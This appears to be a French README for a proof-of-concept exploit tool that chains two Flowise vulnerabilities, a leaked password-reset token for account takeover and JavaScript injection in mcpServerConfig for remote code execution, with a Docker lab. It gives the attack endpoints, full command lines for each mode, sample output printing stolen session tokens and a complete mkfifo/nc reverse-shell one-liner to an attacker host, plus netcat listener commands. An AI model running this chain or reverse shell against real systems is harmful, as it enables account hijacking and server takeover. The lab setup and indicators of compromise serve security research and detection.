
FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, démontrant un ATO non authentifié via une fuite de jeton de réinitialisation, suivi d'une RCE authentifiée. Comprend un environnement de laboratoire Docker reproductible.
⚠️ À des fins éducatives et de recherche en sécurité autorisée uniquement. L'utilisation de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale.
Ce dépôt contient une preuve de concept en Python pour enchaîner deux vulnérabilités de Flowise :
Flowise est une plateforme glisser-déposer pour construire des applications LLM et des workflows d'agents IA. CVE-2025-59528 affecte Flowise 3.0.5 et a été corrigée dans la version 3.0.6. Le problème vient du traitement non sécurisé de mcpServerConfig à l'intérieur du nœud CustomMCP. CVE-2025-58434 est liée à l'exposition du jeton de réinitialisation de mot de passe et a également été corrigée dans Flowise 3.0.6.
L'outil prend en charge :
Le processus de réinitialisation de mot de passe vulnérable expose des données sensibles de l'utilisateur, y compris les jetons temporaires de réinitialisation de mot de passe, dans la réponse de l'API. Un attaquant qui connaît une adresse e-mail valide peut demander une réinitialisation de mot de passe, récupérer le jeton temporaire dans la réponse et l'utiliser pour définir un nouveau mot de passe pour le compte.
Le comportement vulnérable affecte Flowise cloud ainsi que les déploiements auto-hébergés/locaux exposant la même surface d'API. La correction consiste à ne jamais renvoyer de jetons de réinitialisation de mot de passe ni de données sensibles de réinitialisation de compte directement dans les réponses de l'API.
La vulnérabilité existe dans le nœud CustomMCP de Flowise. Le paramètre mcpServerConfig est analysé dans le cadre du processus de configuration du serveur MCP et est évalué comme du code JavaScript sans aucune validation de sécurité. Cela permet à un attaquant authentifié d'injecter du code JavaScript arbitraire, qui est exécuté dans l'environnement Node.js du serveur Flowise. Dans la fonction convertToValidJSONString, l'entrée utilisateur est passée au constructeur Function, qui évalue l'entrée comme du code JavaScript avec tous les privilèges Node.js, permettant d'accéder à des modules comme child_process pour exécuter des commandes système.
Le point de terminaison vulnérable utilisé par cette PoC est :
POST /api/v1/node-load-method/customMCP
avec une charge utile js dans le champ mcpServerConfig du corps JSON, par exemple :
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
Le code vulnérable se trouve dans le fichier CustomMCP.ts et est référencé dans l'avis du mainteneur GitHub pour cette CVE.
Attaquant Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ objet utilisateur + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ mot de passe modifié │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<config malveillant> │
│─────────────────────────────────────────►│
│ JS évalué dans Node.js
│ commande exécutée
│◄─────────────────────────────────────────│
│ sortie de la commande ou charge utile │
│ │
✓ Prise de contrôle de compte + RCE authentifiée
Structure du dépôt
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configurez les variables d'environnement
docker-compose up -d
Sans aucun argument, l'outil exécutera la chaîne d'attaque complète, vérifiera la vulnérabilité cible, effectuera la prise de contrôle du compte pour l'e-mail fourni, se connectera pour récupérer les cookies, puis exploitera la vulnérabilité RCE avec une charge utile de shell inverse. Lancez un écouteur dédié (par exemple, nc -lvnp 9889) avant d'exécuter l'outil en mode chaîne complète.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Effectue une vérification de version pour déterminer si la cible est vulnérable à CVE-2025-58434 et CVE-2025-59528. Il envoie une requête à l'API cible et analyse la réponse pour identifier la version de Flowise et l'état de la vulnérabilité.
python3 exploit.py --target http://localhost:3000 check
Exécute le processus de prise de contrôle de compte pour CVE-2025-58434. Il envoie une demande de réinitialisation de mot de passe pour l'e-mail spécifié, récupère le jeton temporaire dans la réponse, puis utilise ce jeton pour définir un nouveau mot de passe (par défaut : "Password123!") pour le compte.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
Se connecte à la cible en utilisant l'e-mail et le mot de passe spécifiés (par défaut : "Password123!"). En cas de succès, il récupère et affiche les cookies d'authentification (par exemple, connect.sid) pour une utilisation dans les requêtes authentifiées.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
Exploite la vulnérabilité RCE (CVE-2025-59528) en envoyant une charge utile mcpServerConfig malveillante au point de terminaison vulnérable. La charge utile est conçue pour exécuter une commande de shell inverse qui se connecte à la machine de l'attaquant sur le LHOST et LPORT spécifiés. Si aucun token n'est fourni, il tente automatiquement de se connecter et de récupérer un token valide pour l'exploitation. Si aucun LHOST/LPORT n'est fourni, il utilise par défaut une charge utile simple avec la commande id qui renvoie la sortie dans la réponse. Lancez un écouteur dédié (par exemple, nc -lvnp 9889) avant d'exécuter l'outil en mode chaîne complète.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
Mode par défaut. Exécute séquentiellement la chaîne d'attaque complète : vérifie les vulnérabilités, effectue la prise de contrôle de compte, se connecte pour récupérer les cookies, puis exploite la vulnérabilité RCE avec la charge utile de shell inverse. Lancez un écouteur dédié (par exemple, nc -lvnp 9889) avant d'exécuter l'outil en mode chaîne complète.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email : [email protected]
────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 Name : Lab Admin
🡪 Email : [email protected]
🡪 Credential : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 Status : active
🡪 Temp Token : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 Token Expiry : 2026-05-08T19:37:47.025Z
[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:
🡪 Email : [email protected]
🡪 Password : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :
🡪 Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!
[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!
Un laboratoire local est recommandé pour des tests sécurisés.
Installation du laboratoire :
cp .env.example .env # Configurez les variables d'environnement selon vos besoins
docker compose up -d --build
docker compose logs -f
Deux comptes Flowise sont créés par défaut :
[email protected], le mot de passe est généré aléatoirement au démarrage du conteneur (vérifiez les logs pour le mot de passe).[email protected], le mot de passe est généré aléatoirement au démarrage du conteneur mais n'apparaît pas dans les logs. C'est la cible prévue pour le processus ATO.Exécutez la PoC contre l'instance locale :
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
Pour inspecter les logs de Flowise :
docker compose logs -f flowise-cve-lab
ou :
docker logs -f flowise-cve-lab
Function, eval ou équivalents.Indicateurs potentiels d'exploitation :
/api/v1/node-load-method/customMCPmcpServerConfig contenant une syntaxe de type JavaScript.process.mainModule, child_process, execSync, Buffer.from, FunctionCe projet est fourni à des fins éducatives, de tests en laboratoire et de recherche en sécurité autorisée uniquement.
Vous êtes responsable de vous assurer que vous disposez d'une autorisation explicite avant d'exécuter cet outil contre un système. L'auteur n'est pas responsable de l'utilisation abusive, des dommages ou des activités illégales réalisées avec ce code. Suivez toujours les directives éthiques et les exigences légales lors de tests de sécurité.
| Option | Description | Exemple |
|---|
-t, --target | URL de base de la cible | -t http://localhost:3000 |
-e, --email | E-mail du compte cible | -e [email protected] |
--password | Mot de passe connu (mode login/RCE) | --password Password123! |
--token | Jeton de session existant (saute login) | --token eyJ... |
--new-password | Mot de passe à définir lors de l'ATO | --new-password Password123! |
| Mode | Description |
|---|
check | Vérifie si la cible semble vulnérable |
ato-mode | Exécute uniquement le processus de prise de contrôle du compte |
login-mode | Se connecte et récupère les cookies de session |
rce-mode | Exécute uniquement le processus RCE |
full-mode | Enchaîne ATO, login et RCE |
| Option | Description | Exemple |
|---|
-c, --command | Commande personnalisée à exécuter | -c 'id' |
--lhost | Hôte de l'écouteur pour shell inverse | --lhost 10.10.14.3 |
--lport | Port de l'écouteur pour shell inverse | --lport 4444 |
| Option | Description | Valeur par défaut |
|---|
--no-check | Ignorer la vérification de version/vulnérabilité | False |
-v, --verbose | Activer les logs de débogage | False |
--log-file | Chemin du fichier de logs | logs/exploit.log |
--no-color | Désactiver les couleurs ANSI | False |